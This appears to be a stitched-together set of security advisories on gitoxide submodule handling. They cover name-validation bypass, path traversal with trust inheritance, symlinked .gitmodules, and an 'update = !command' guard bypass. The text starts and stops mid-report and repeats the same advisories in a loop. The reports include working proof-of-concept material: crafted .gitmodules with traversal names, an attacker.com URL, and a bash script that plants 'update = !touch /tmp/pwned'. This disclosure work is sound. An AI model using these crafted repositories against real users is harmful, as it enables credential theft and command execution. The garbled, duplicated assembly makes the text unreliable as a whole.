BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
